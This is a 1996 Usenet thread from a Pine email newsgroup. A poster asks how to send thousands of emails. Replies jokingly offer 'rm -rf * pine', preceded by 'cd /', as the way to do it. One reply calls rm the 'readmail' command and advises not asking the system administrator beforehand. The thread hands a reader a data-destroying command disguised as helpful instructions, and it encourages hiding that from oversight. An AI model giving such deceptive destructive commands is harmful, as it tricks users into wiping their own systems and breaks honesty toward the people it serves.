Subject: Re: Mass mailing

From: [email-masked] (Greg R. Broderick)
Date: Sat, 28 Dec 96 06:28:11 GMT

In article <[email-masked]>, [email-masked] (Bill D) wrote:
:In article <[email-masked]> in newsgroup
:comp.mail.pine, LRC-Lienzer Dolomiten <[email-masked]>
:wrote: 
:
:>How can i send 1000s of emails ??
:
:type 
:
:'rm -rf * pine'
:
:at a Unix shell prompt.

Bill:

You forgot the 

'cd /'

which *must* be done prior to the invocation of the rm command in order for it 
to function properly.... ;-)

[Note to the unawares: Do Not Try This At Home, it is best done by trained 
professionals, such as Lyle Larson, Sanford Wallace, and Fred Sterling.]

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From: Jeffrey Goldberg <[email-masked]>
Date: Thu, 2 Jan 1997 14:38:37 +0000

On 28 Dec 1996, Bill D wrote:

> In article <[email-masked]> in newsgroup
> comp.mail.pine, LRC-Lienzer Dolomiten <[email-masked]>
> wrote: 
> 
> >How can i send 1000s of emails ??
> 
> type 
> 
> 'rm -rf * pine'

It should be noted this command should only be used if you want to
sent truly mass mailings.  If you just want to send mail to
a dozen friends or so this command will not work.  But if you want to
send mail to 1000s (or 10000s) of strangers around the world, I
enthusiastically recommend this.

If your system administrator or ISP might object to you sending such
mail, you should not ask about the readmail (rm) command before doing
this, because they might get suspicious. 

-j

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